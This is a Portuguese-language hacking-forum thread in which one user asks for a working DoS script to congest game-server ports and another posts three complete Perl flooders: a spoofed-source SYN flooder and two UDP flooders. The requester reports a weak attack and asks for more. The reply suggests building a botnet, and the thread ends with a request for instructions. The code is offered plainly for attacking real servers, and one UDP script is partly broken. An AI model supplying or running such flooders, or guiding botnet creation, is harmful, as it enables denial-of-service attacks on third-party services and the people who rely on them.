Pedido - Script DoS/D-DoS

[brksfx]

Opa galera, to procurando um script que seja realmente funcional, pode ser em perl, python, contanto que tenha uma instruçãozinha de como fazer pra funcionar rsrs. Pode ser linux, pode ser win, tanto faz.

Esse script q to procurando é pra fazer ataques de DoS via ICMP, Smurf..... e não para derrubar sites, e sim congestionar portar de servidores que recebem conexão (tipo games, etc).

Se alguém puder ajudar, agradeço.

[John]

Bom, DDoS é mais eficiente e não pega nada da sua rede,
mas ta ae os scripts em perl:

SynFlood:

#!/usr/bin/perl
# synflood.pl - Simple SYN Flooder
# Author: iphelix
#
# Requires perl, Net::RawIP module, and root privileges


use Net::RawIP;

if($#ARGV == 2) {
   ($src,$dst,$port) = @ARGV;
   $a = new Net::RawIP;
   while(1) {
      $src_port = rand(65534)+1;
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;
   }
} else {
   print "./synflooder source_ip destination_ip destination_port\n";
}

UDPFLOOD:

#!/usr/bin/perl
##############

# udp flood.
##############
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
  print "flood.pl <ip> <port> <size> <time>\n\n";
  print " port=0: use random ports\n";
  print " size=0: use random size between 64 and 1024\n";
  print " time=0: continuous flood\n";
  exit(1);
}
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
 
socket(flood, PF_INET, SOCK_DGRAM, 17);

 
print "Flooding $ip " . ($port ? $port : "random") . " port with " . 
  ($size ? "$size-byte" : "random size") . " packets" . 
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

UDPFLOOD2:

#!/usr/bin/perl
#
# Nemesiz Security Group
#fzero.nemesiz(at)hotmail.com - fzero.l33t(at)gmail.com
#
# Udp Flooder por FZERO
#
#
#greetz : Felix_PoisoN - ReatoR - s3p0k! - H4ck3rz - NuclearWar - S0ldi3r
#
#We are a legion, we are your enemy, we are Nemesiz :D
#
#
#Este programa não tem garantia, use a seu próprio risco ;)

use Socket;

$ARGC=@ARGV;

if($ARGC !=3){
printf " .::Nemesiz Security Group::.\n UDP Flooder por FZERO\nUso: $0 [ip] [porta] [tempo]\n\n";
printf "Para portas aleatórias, deixe o segundo argumento como 0\n";
printf "Para enviar pacotes contínuos, deixe o terceiro argumento como 0\n";
exit(1);
}

my($ip,$porta,$tamanho,$tempo);
$ip=$ARGV[0];
$porta=$ARGV[1];
$tempo=$ARGV[2];
$fzero=" .::Nemesiz Security Group::.\n UDP Flooder por FZERO\n";

socket(crazy,PF_INET,SOCK_DGRAM,17);
$iaddr = inet_aton("$ip");

if($ARGV[1] == 0 && $ARGV[2] == 0){
printf "$fzero";
goto falconpunch;
}

if($ARGV[1] != 0 && $ARGV[2] != 0){
printf "$fzero";
system("(sleep $tempo;killall -9 udp) &");
}

if($ARGV[1] !=0 && $ARGV[2] == 0){
printf "$fzero";
goto epicfail;
}

if($ARGV[1] == 0 && $ARGV[2] != 0){
printf "$fzero";
system("(sleep $tempo;killall -9 udp) &");
goto falconpunch;
}

epicfail:
for (;;){
$tamanho=$rand x $rand x $rand;
send(crazy,0,$tamanho,sockaddr_in($porta,$iaddr));
}

falconpunch:
for (;;){
$tamanho=$rand x $rand x $rand;
$porta=int(rand 65000) +1;
send(crazy,0,$tamanho,sockaddr_in($porta,$iaddr));
}

[brksfx]

Opa!

qdo dou o comando

perl syn.pl
ele me joga o "print" na tela e só.
nao executa o script nem nd.

Ja instalei o RawIP, ja instalei o libpcap0.8, mas não entendo muito bem e não to conseguindo executar eu axo.


To usando Ubuntu 10.04
tem ideia qq eu to aprontando de errado?

[John]

tenho ideia não ._.
aqui executa normal

[brksfx]

Agora executou, mas esse n funfou não, foi mto fraquinho o attack...

tem algo + forte ai n? rs

[John]

DoS realmente é fraco, vc dificilmente vai conseguir congestionar uma porta com DoS, cria uma botnet, ai sim o ataque é brutal

[brksfx]

Instructions please?